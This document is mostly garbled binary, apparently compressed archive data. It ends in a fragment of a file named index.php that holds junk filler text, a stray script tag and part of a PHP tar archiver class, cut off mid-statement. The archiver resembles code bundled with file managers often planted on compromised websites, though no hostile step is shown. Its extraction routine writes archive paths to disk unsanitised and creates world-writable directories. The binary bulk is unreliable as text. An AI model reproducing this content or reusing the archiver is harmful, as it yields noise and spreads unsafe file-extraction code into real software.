t1z{:@(\o+L/{//o]WWW6\teWzG\}_=Mصn:ЙUr\\\N]eo+++W&z}ꙫoFRF&ޢR?J'yn37?D !G]BM8-,o+, / ao{)@4'a`RtEh*@]vtOKHIϓS,9rd Nhd8O^IFGɏ^Rg89@~|=r,S^#ghMPzN@||$[oqR%.)}2C7S/ȝ}t7I18`:KMj2-!Dq|_H%nYZUza yy'A&y ^,'Ys[-YrLV86&/(du`m:eUź*r X%́`U8'9M}3du  du+dudu;du duzɁ`@ܷq XsCVws p ?"}XY=YP.z0ZԌ@|'}0.r>r99P{8P웯@@qܿ"8~(ۃ(8Pws8@p=(YT@p)@jq:(:Y=h;YT>Ɓ`?}@Ϟ@Ϟ@=8,},8o>`Y}:~4}qȫ8,dz8,ǫ9,s5PZ@Gű:9Us ؏`_{#AYa%8DVpNdMPfMշppXdm"o\Y}/p~'EiĻ8PQ@E^qy"}G9Pg?sn>rrx~ " e8ErY<#r\r>\p\rޒ\q@}07 g+9EHaa wqɌ\=d4r(ջ9F$8r@#W@7zG9G〸q?@ruHjȆ48I /3 &ճݫ@$W8I$$?է8h˫Os0v>SrTr8(@%W+d\r9Kpa o0v 1N )/r`e|n G5^ [97&p g5́qM:r\r\ pI\ r\ q 0f9OE8OY@'עk6}ZZZx-́@_@׼@_@\q <=88+p@aL]>6ʁ8@> " ZV@> ȁ|P;ym'o@ṕ=p W἗jGaBMG"»z iH_U߯diGTVTA}AW?{}ޘw;=}{wx_~>}^{L{_2&̘Y3,P |>?~LO9싼JYZOZoGGgV[z˱]h?şL[}K=='z=D>q$t⽉_I|-&O$RoJ}4KJ5s0|ޞ}c7};Hn0X-O_*l/?g?oyF^Ƙ8؛>=vu|?6wRttr|JponܼƟԽ6= j|zwqyk??rȓGy{W'ME=?"ё*(E$i4&Vʕ q}l=&"+JCAog=^]KR-o>DS5z@REx╨OޞTxt+Ȯ5wu?tARubbOy z3YKy]r7eeV beKR ْ[*vRr]*b>#GtybNձl(l !oFjhhbhh.sƍQy|l]lV5 (d c\Ŷ%blظ\w|9P rdjؤ %0iv%HTaݳ3G-Ӵ ֦cՠݸi6<L_gACy,0 <֍v*بa =d[8K nҏ\ǣ#+՚C+|>8/SUuBaG@$HC–2i$е櫓O:םZ`Qaώz".֋X}4|̖{_#Μ {0_O~kqП0k`Ph5_1v*Hw$B?ߵ3ޣQq;wW<*iqJ0\+t)i,_'nVKK>y;DZBi *UvRRIᣣGXDRRONTTK)CtXRҷ=,ݫ(V؜]vfnǣyC;,eSk,>\$W}j;PwhQ"5.2E1pM1q,P.uA# :mPeʕ|FPyJc/Ar%JOOÉ&Breec۷?j2 }p ArͼGMܨWJгžGmmP(އN _(@3c

>%jQpqC;@rSO;O݋.fBF`$hW*m%]J"ETAoFS]L+QJҰNzkƮL{BJ*yRşʻgP@7ۜ e$Eu;kg`?g!Q.>1RڋweU<-[T|LL?˲q|Q'=>YdE_.o~џSE}Ɠ^-*fJ!n}oRrPRf\(v: -s;^A@y8Jo-DB_'++WC>*(=b1Y|ؗkWbΤ, ^Y*9!v@4|lq춘8EZeAէW$djW>D!zPdhW†D.I41.J8]JRR\5HFZ\k}p頍o.5]'KxGo53@jBUk\Hp]tϻN^{h;YlS4]9 ByN/@*ixK.E|X Xl*Wj3ljmVv|OVq.6'ga#w0|\S-u|E[*B_"҈5AG{"ъ5KEGBɍC$e T0=T0͐Ⓛ_1Ϳ *#(H]P.Axrt?`w } 7'T N[TTsE Y>AH^ |CLPV$A7=j!ų?CZ00q4cd"K|Q)6e`/7jtq/UQl%ƹtnWjӮtqڙvZmxiPt%F1vbX18Mz򫢎# ʕb]Zrk嚳H[rNc PAZKKkiG(8>]kP&PYXRZi&~v;h3l?SLDН֧S) P.uy2­Oe [YdI4Shg+߬\6ȊQh羝Muco7YA Tq3 elOAI;墜 $aHXm;ּ[s %Ro_(45ub_w7IOi9~,@P4b=p "2`rh#GO(6~ ԟ]qsvE)dF1eKhnj˖[޽u JvN4*ON)ͭl\ԽM?Iצf}D% ;&}lu2{K1TT͊ੱqۗݽ qk|OmWi<^"\߬8ͽ]@=cw+6YKE}HOvq `/ VIq nUPcƲ4҄6^ǡu/r^~~ >R"x&A,W½l"6]șJD.RgC"U*d:u!ږ't=di=5eWӒNz+(O>-OUD_5zTMz8 Q'-;d DLtCal*J~8 .>!uLe<'$6Oݪyu'ˊЬӕ[+~FFIQHPĂaY=PK`Ô+QK<۟ ;쀔-=Wd+>+h )h|j7,GV#R/ eiZcКZ myY3K,]ѪGMx`v=Wuj,WunHLqNǙ@74]t7WVPB`;׮G&;^#g[ 9ShE nݑX@pRD ,hO`oȔ?E~7i:ZZb;H&lPY{v;A\(cd 7q,U-!ԋ$+idKCa]"UT9J޸W|e!و'HXV$'HuI)R<{Tyc60C##d%}uT/u`( Ёf:phtITb pTT Rߓ!{{4CgCԠ3bȡi*iNh'yU[A^7cwVl 2`?LBQ@`V[<%{}MxسΝgî-'l9$fp`8ӯH̸[.svP%h@ aЯוtC/wGcVD@W:6K/XQوqwXZVZCGvmN7 #x57؂P&W6ڞ[914FTSQ'VER7#ǎf8DX<> #Ǝmcdc=Weѫx9#]]#U[ zd6ɒ2y<( HiƉk!r/y&ϒDN6TzZW;'nkvy?>jZ›8ܺ;ѡa/J^j" #&)`Pt'# .7^NwK@<# }qIƇ_![w[Udr=4atfl:?¥`<w~`|$τanQ4UCM\B);3YeCk"5`C9hD:&T(մv{Fm ǸLJq*xh|[SWS?ִ6ۦ'ǵ퇷7- Žaw7o_! ^ r6vd;oRdaZ(0CBh w~ 4olp?䌌='<ځ=h8J;fizܠDcI٤ $,ȃ0]R![о9V;[r[¨1aNAv_>PC 'trC/;ɕ|(fR J!P @LaX=iN(!8+*Y=ۓނ?W wN C=jww5=M7ǂ g7=qM?E0M1VyB<.)҅vvlt#@O|HxXn QMiG2%VWPHXzVuڋ- a9Y%kUZMUZ/%v Q@rdiA K$iNxVbl;f#4`B& |p2<)lTBDDWsGzsiwWJ+KAJ7Ndܨpڈs8BHXlON#U[Mϫ1QC}L-* Q&*H(%FmSH2 ļ^?5xUJE"Va4nW,Ǖ%MA{Z*>;JKcJU3ڊΛpQ(a'wi: q_kio6 ԘՖZU-ɚQsR"ègP^JmӼV.U )G.{5$7D9xgv9f 0}!٩n+?D뜵]Z'_r"14V;dt^EhDVi7L /l%'Dj)tYJP4dUyЌ{{dh t#ZDl|>D7 /CHƏҞ"!*Xn[9Dؑ cG&diQ<2jCL6dك)N0;#EFn#ŕiFXV 7nRଔ@DzfS^Ej(S P]GUD?'_TSLw^Ղ(x^]TY; 逎G9=[kظ eLPJ3xؿxyS=JnPHߑKvw Pu/5d gsJatIω>o*'h2&Jaq1(;q Xd-9rZ7 Ra ִphv2e#]9~OKoi\#스͢ wBXRW#jHUp`Ȳpu/!E uU ) .Ee䓽`^sۗ̆ќjrV%ȓEj\|RI %|-CBS?L/1=2SvzΗge۸q%[)٥ 6.MOj5Az]ly5`I V6Z4.)n{>Kg,`乤,/.cE{E|m.$uu r̝wz.LN"@՘LͲ;\޾‥g>DTP+㽪_48xE+ѠsurgOf'xCro2TꕼY~Ux}]s}ji6"Nz\s |G [I[z$oaF k ?$AVހ2W Z]gc: (-Oh _TznDAB;dqE?cpA}J*H"ݾÅtŠ18gٟp5&nv~Ɍ)k]nqW*qU)17od`9Vaڕb奵ޗ,>MKB. 5΃L,-v}l^g=.҃H\J8*4I"FLaU=fE3pQl!6Y ^!jQxE,Uۘuun.rcQo].lr*K Vʱm[=V?⊤Zm[[UrvAօhr޲Nf!_nЃ snʵۨ aZfĺ0pXYZydL]橃[fkЦKMV' _R5]\~+\3tp҅ N*vT[~Zu[uJ ҹFLAkPfkvKtm\,U;l%L+2)ژ`gl-e\^+CÕm@y+ԁaK V%GUy[J)PP7GOzbYGu$Y ȚlX ɉ[Sg' +#bl lK_̘_/C~Oc^:p5zDz% gRGI+Uyv 8ez"Ƽвӊ8a?K.- X^yc'/%5A٣(.=K&mo~[J?W/ۺSkj ;z.^ < 5:rqNqǙ=Bi:[nKfSذht^B vF^.tmmLs4gֽa\j*;Z W^'!\`29ߕU<8|-)2;7oNR6j‰"GpNmGin}LP%+Lgi3kpz @PEņR@nXKi*2t>L=H92Լb #I4Ͱ@t8ڦy?6~q4Flfu lBa6&suũ\]'+K͝rWCZ,t]v9Zs%|҈n6TM|ÆG,Iat(ي[*+?`GtRlqѨ_;a n6%Ԝ?;hչ2p+ (}zuF,4A bsVKλͿ= tZst: Q?oA Ie(~]3%_r@a9htJ#̅[, mj0D4,lVfOH?i7Rd@D@ʁ^}|/vF,(Nq2`5F r20+mMӱhm]'o庋ÍE< Z,^I=Ym+8C&^RՊU~ZQ*E_6mR?l D6od(M!5cotmel)W3=H4hӃQOă|\*xD7(Qؽ1ŁE E*Hxb՜cb3|";^r'`*Ŕ,3XpjQ Ԃ&w0xH@p##T:`2u\LBv:dzbRO27]X&e4b*BZW {-+q7H],I@ t >/z,%Q311ၷ#Z ,ljA'31"@|Msa߱n|$_s,Z9?ls=YZ![GGgǵ#:FW ^YfY: +[[H^|tee!f a9S`M0MjnO_̔d$z-"n,L2BVJ ɡO@9 ..疀Yb!Y)`I6Ȃb3Q͍N+R H  (- QuˋŚ@8tAԻ5XTj݄Ð_ QxG%;psy=.6mfÁP:h5oamZN kj9x6N*ġĉ/t}).;NZuFQl C9͵l@=џE_?".q4CSÖ!GbwہzJWJ48vt:M Ex=gʕ3 'NpÿȚIE="xd䣢&}-Y?"&{.M %)EfX8s$xǧo?WٶyMJ7((޵tNqɃ.B4E F?7JT%HtqkS3 y+S7g*Ykk+*R P,aZ-?xKD/ 89PO(W;Z7eS&uznʇ:?.w|; >t/U6[Wƥv. ' խFgw!> oZuu=<ܢmRNRqe{>#[i%Q MIw[>[UlU-~j1Փʙ,xUoL$hg=vf:,0AíL|&gScyCU6,z]1}n3⽍KŵKي#}/vSuA p% \vӽ?\<я&vW*|haתd8Wo,oѓ۸\ѥeηuRuh][?tB l - &dwl퓽V>wwpmpHCm]z?κXitBɒM@[^˺Oin Cߧa\b6kԬc2= #d%y^ xYn\sQi/]ZQ[M u`:J $ -Ut~fWQ$s/,yab5=Z,j<s@4f]ZoUJ6޻PӾ癁*n.4̶L9 |mrB1$qE+i V* ]9!`$B^qbBVZǻq/ ݢW_< x3~~賳c@ *0R]:An\ӕy 4S%1+"$lX^8tTʅ+pĠ R@oRY #_KYOn{6moVOV߰G M Ȉz#jbK58G&uCV7qf,#:-=x0zу]n}dK.,WqL`zhh\#˝]>TM.>IG.Cob_72~K4؏7M@O:|o@hҍMcpL-C`!X3Û雌Ph,`cqsqզ 9N9̍XB)ǯЕ ܘf2@"˄cl:q(Gw4^OȷP^4#4"a YjHY!a`&!X@ks$9T9/1+l_ϛwy֪ Fb6ٗL[ug'j}e{h['[Y!^m,ϟ>yBgP+l4 0täYҎFpWL  vtC )BLKKWp ޣNp ,Ϗ|^G^N BaG'td]y$6fɣ 3/+Tû 0{x{>/r]N ,uLcK) ۻ^^ه؉k ^dG.W1E.sT?5=ޤzfBPH- h}ݧu1{붍D>Dd\q^#:ƌ :DKZyMKzqoi0>}5:EfWܳ1Kq2աR!O?3ξMn f87n|1A}c=Kn}`l17aBmu"wǘ&]+ E-̦ ae CN͠Tʀ%W M1Bl9xEL/|=o'S=o>zXO<27SRzoW[t]!KC~g`Gѷ@?m0zޞHlOl8rZ/OJG꣕(vJ(TBJN'Io5ObI`[^11>{ov>$TLeԛk O.񍍥777eJCt'.+|PmlЉKX8<ߜJg`=ÂXp+03 #rd+\A㢨J -% \1(1INRЬ|*$`qL_Smf$318`Kw͌%FS>梨x*qQs.ZVQEn;|3ƂKycc˧([Rx,nrJrDCֵz;r*l/xGt(ц˼Yp$ hqX8VNzz _u]L71{U$۔+mE7ฺz}$:YOq@p`ܽeKٱ2ׁ{ozF6oIߋ[6'ﻟ4u7iWⷓ}Q8?e;)3$X8^=欘R4;cO_@ڬݞAKsT /^)*Q*ֽ@)˪/4C׭0\_`tّNzG|WMW$ohH%`$$J)+ ;9f976(uQX6QOqIR#rHWu($bmWhNQ5k ϫBgb>(VAHG*HX@)]gͯ;>Yhk6,-ѕZuV.Ujm'.k ƫK9vߡ_i8i3p#[.Fi l޽]G~?w@(}+~޲0~5\ LGy&(.Tѕŋ3QQRfƬ0 {|g4g1 VBk[VZ/4\ ?r߅i\>VO"z7-sW\zk|zi<.l=|}42Qg pwӽޑ}߇TQɥCX%?rО-p:|ͭc޻io9m@:.tBb\zWI (fmDi|Ӧ֓]ѝ {nϏӕTb53TeГ{L"_a]qV܀^9XIP0ԝ[#kQqOa(גR>Y #2Ӊߍ/@;-Ld"W)VyQI |Gj Qsp-j JY7l`KT4_SV+<Rcũ2KRѥ|4++s>n] 3A ?Wo&:xN[PlI3AblizBMZͥW嶫+"DߎǶm{9w`afG:Mb"]Ŵ,1ww(;K"r:,[2-{6Diqq Zlٻ9ټwKQw_ZK-RSuoLqq-}V=vVAS%lKx ʭnqMFA_IT*d,PI{DR>5(e~Qln5C5UeStw>n{6us g-g՝ p7c #F:S7gBf0 P҃_įm6c?p.žOH.3ůB:@?|KCCXCwt`Mbi.gއ,K=r~?@ UC3RN?l垕|Fz}^??=}8%\ uYO5/ekqO_8=EϼX d\uʌYaxbPIIaWA5fzA6]EUS M+]+E.uX4iǢQ=u`Ձmlf3=^ &|8:x0hm[]\W ~h|= Gc-^w<8)iRizTiɄ_v>/:emub5orkM1m\YAU:<cbR$j KP l[~?^5ry'P暵We.J1Ɏ hqA¹]%桱 H *[ D XW"L".ڑx|0bD"wkl78 e%Y W`PfDxt;ak^d,sp`ց> İϴm<{֯ҭ[1n_c 욏 u6;ex-ɜ6Y8*Ch;ݸ\ֆ 2bTJk]n4]]GwzXڦ5kga-gafM7b?meɑS^IHR TagH;?/AWDø'#ɾ.mĴq K'΢Uq`g+n1^=xG_º2Ka;+7z-K]\mRGpَc~ɤBigXNjkmULC2n<oM޵Pkq+ ݹ#m"[er/Lc'ŵ*t<el2eb%XWv:Ƹ^f!%x|xB1b-@wdA~JBbqMwJ8ޟ utXl#5?8GAZ@hYV=_vt:"z+A=vz*"nӬMآp\9⢎qn Yms9뛴6+qƠg>gv^k .㨀dkjjVl:lۮ37\:8ctq|aw+M%0Р&L7E/0*;*5$"*R԰ULDaO@VtLW͌AްGQ ȍc\D*)PDErƌ315a%Tφ "^N΁]j,gƺ*I+>f=zDzG 7͠(aPWWӣNZRqj-k:Ac 5ϔt\๭/7F-&̽մ΍-q (n}\Rxe47{͇6ðo3_\d UCPLbwMrZ45Z&XwB5ˏ.3jvkxY 'uw/xpݗ GW5_haxR}>pr?@ uӷw^i`?J<мt(-dyO:LuCBĥUěNl_c1Iٷl5䖵le.YbOnxѡ_5awG{n:mCizJP?'GGbۍl/6hh)' |7C}=No8dbcJ}v{&m[yC. c!6r!Y_Nr ܠS,O_dndH;6p qCG>eN1s'RP/؃ +*xEyZ|׮cA3*v튿&jj_h}jщAJV,kq|xqhe*#gqes=Q] dX4_y1R/_Eg8{qA\6V.ުia.:>gZZ$ Ժ#6p5gT4lsHc|=/TZ۵._lVn QshgTwcGݤ__o-IPC QڄE_}]gz Ƌ}86>q| \hڣͨE c`W87<[gLxdۯ7DZt ƭgq2qf[Y. QFi>>pNEA] d3X,au& K*qY6#rZ{ߌωx<1` 52|G'm۷_zF ];GXKj՘m.7N ΢-BF bgG  9:w!P-C NkGTY0G$nUjT{N! PrħL-} HAW6Qun5U7 D"dUB7k0 mgQ6EuXK&UZޒim zzЦֲ'a3H8ŗt6FCI(}Ufl,v5Vz3tz4-aIPrOWFw ]++)3ɀ tkw4hGyi/ZHgР–dTsɲAW2XVbq);w:iCzpo\ZU;4u6-QLޅZ.(ߠp͙~7|VLAB($cBQ= }>A M@)W3NBASB2e4O3 /Y׼tqenUj~XtiԜ̖lW,֕ݒi,NjSu]q}>xuCGPߝ3Z81$ ?d%"Rt^fi,W{\8]qjv]FaA_ N•Fx<IG_gзa5qn<8s̔@fUJUi4w^͑]py~S:P,=AUT_ALZ5sd;;:touGPG{{'3DŒAޞN%BeX)BqoC畝W9Em 0\sRPʤ{ʦcUi=z$ɣoIt1[7H5}oJtiN`V0tcls[xK&cRIx%\ӗv]R!Ү]ޮ[.]R" mlShfIJ֝B<:80AvC@qaӹPmSu)*38uhZ8 xSR/ ^5Ag9,zBߨi&ځSU?08X/0'0 IGmEr݁VĮ&ЂBTݿXq9}?7^::H%J~`zho5MU ޴co:+*m~|Giok|~:F~X{_.gxᎴ^b|Y~}OnJ$K4|YRR*F l9DP?x3;R:R*[v~yy}ׇ_<|wG GSRԞ?`.v9JpГ[C-1uqѻ 9ܦeVEw+M@?؁kP/2ԬkK^zt­԰smn >“,/B}?i +(BKc-ۃV:Yz9ƒ>7 rwA]pQ򧇆SFo|:{W9L%lfע߷Z *liu. @6N}٨kB۪:K=:eq}|ħȭX2ߕk~̮O_%Rjzq~-ŕ2KR.sWNg 9nG^vrkÍA[^D^!:;/ɚKӦGj`ߥr"c.7/6.enѦ:AzlYc"]\/ha%SlEZϠ0Ozض(ߕChP #o0K^Ż.hJ3/1_ݸe,A*͎08 pNМtOg:q#54kdΔl2.HbJRrv +;l $nwZ.ؘ%B;G];]bz؜Fb&5@H YN9'\0BzYLʊ gTœgTY >ٳiX]~֗%5VJ4uYӇSHeSC}eooo?=c(⁳4Pjz8HMF&A LPG3fa2.Jr!jg=EuŎG8{;;P.X62hᲮ*@R DPϛ4[VrMpMtxUA7?;=n&@e XMQ##xbQ#.zBÏ*: (%Ӏ)I]kuk=[?<>#D*d)ƺȾ-ɮ')xV{ 끀gQPvz}6éCGYT w&u[oX;ƛ!DݕJw0k*^1 A_ƕ %!2xڱ;IO{x ԭƒ髊ܱhǢS~k t;fb4xe߼k[tMO$q[)AF|Б;ޞx'˷5a-{'N4ov#F{nm wi/iD"hJHWM%v2iJ iN67lπĠ0ml+ n+RN6O9Kt^hֳS=BWOui.bDnꑋQ}xt(hB%`(L)yVk֝j w(Z|mML`Fcx ;P+g+#xr0aez|~IQ|p 1-jdG3F>Hl(^E* =lo_<+;>>L?MTf_0S 6xñ]٬ -|~ȧ[Y^{*RXCGZX 󹅔9rd?˜-:{K}{80`<83om]Gɾ=ta<IU;џi4V|,1jtrzu{z7Џ qk'Ϋ.2_)[9-52N/bq th۹f 9B~f_r\8ۖh /0oL[f;ԯq|72^ES 9@dM>_dk RNs 3 :&u|;\)U;u5;?XWTDN܉{)_qM5+t%a57hJ4..{xu#ޓJ03ߛY TEstJ!'!ӠᵻnH _ؼ!"ꢪ+ +[f#ȦS?Mҟ.k=]TB$? i|W,QvFz<^#k|VIڞPN= N%~7 %C څ ى`:+B㎃a)h/}nv@l ztos}'-BNj{E.:f8]~/#v˺oX1.wSrqӎ,n ¨0dZ[q Zs&r]3xx]tpq7,כd~L8(>D9@o%-/b ea]čO0Bu::ƒSEˊekkV;_}yF -btZvzUsOj{.oLgVJzU44YpX^x^RO3ùkC`) \Rl,st9E(0GMT: S{RZ,m EoU%1 }c^Q➆6OQ; {WC/$-d( DYH! $(#\r":I(J*`<8QsS;* cy9&Ze#(U@v?“w'w7~ބ,ʲ7ԖIS7$+!WdQ13%Q_iҮm?ټ'2$ 'n;:T[_ (]D@C^?%3v];b-DK"o7/c ЗDf( X-HȅbrMP <\.$pT7z/u.{@Uw+8G M'E9s(A'UtwDdOû5v 8>jzYk, p<_҃x|#׸:|55~ُ'3󶈋Hlwef : @<&<ɳY&~d w ^qG>U}Z%ߙE% Y67|J6Q2G3ϬHkn'^ȼ ߡBj[;2S\efiq|oݥ޻#@[ݪz>ݭJio{r[B޴cPO^V! \0hEǛa9+ ? aW/P" ͰaĿ `3,(fX/5> fX#yZ>19r#Sf'϶ہWL;m:=uvraD3'jٹS=sfgRg=6u|a™##fSk$30Vi!Sd#p- x,g5|? sٳPSD#q< iCu # OĜa? )[gfGONKyП׍Q*T^AOu :& 0PFMc4NEiЦ$M4,97~:@EOģtSiinf[:Aw]6z;MнtO;AZ0G!W{+}~}>DG$=Ft4=Igcq:KOtOгt.sI}>C_E?@_MuZ:z<}}#AC G[[;;]=<`?J8П?E_?M?H?DП?GE;ЏO_B~u)i37oߦC@"K-|~~CGЯѯo?~ӿߢI56w@;]OG*LЫ'?ߧ+7ڠ Q*x ~A BP a!"XBTKzRBZYW y ~a@aaDƄqBI( aI,l ۄaB)nnv {>ap@C8(TCa.pT[&O9=4yǧ q|nvvSS曏?70wjUSgu1c渏_;5SS'f&fT;xg&[7̞9=ߺ17%|khrv\9~õ[nfkannsəgf'OOIΝOLCSgvnvv詙 '}v<ٺl=[,x/psgy1j_8wfv8P< O>h^>6ysgcMM~lvC'j%cssGE ;qQ 3O,<]:v٩ٹxG4Y^iH`-6wܩ`Gٙ';>;w̼-̩NA:_; בPps3' ;7?srxj 7wZo]>57cNO20wAY$uʍq2zO ‚'|tajz3'rhԤ,uyfB3gAIDZ48;14? ?CsMNNL /LbjSS~@$sgs:ŹSu0ꆰKWSvęIkOà|l_AOM.Cv{u1oڑOb sNk瞜:;4s Џ"VzɅc?N0SO;v=sj٩S5}SjJ9158tyG.֥G[BL "EC! .;;վ;n4/Ԟi'NhUQ D.zW̝[4[q3'y  SO/Ӯ'-L ތЋNM2z  Y+tVٙǧN>,T+c64ZE87ۺuj,ET'L̩̙yԩəYvh\bAmԱCN<$;gN-a hSg,n+N==B]&OںPa'ffA6;9-Ny MÇ+yih'gg>zkyf|˴gm w\b90N$9/OMNyΜ`9ONsV995Z33'gyOΝ;;=;9?/\85+Û=a意tٹ3~`5//:;z}#P  ÏкN;xm-8qq]3ks8(?xphӛǰO 5d`I2sT1OC<,~ ZѺ08oaY :c <ּ®aI͇Ѽ;~9 A$xf<'ONM-4C-SSӀ[SK0V`rE N`ʩi%{OA3OB9 jɧXG9=͝X,z(kvh|-Bp~,p ma֝_툖TjEBW*5؊BĤ=r4V W:"#S@A"֑)4Jyc[DMZ??+wPKɶ#[][7[7 ova/index.phpnu[nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = 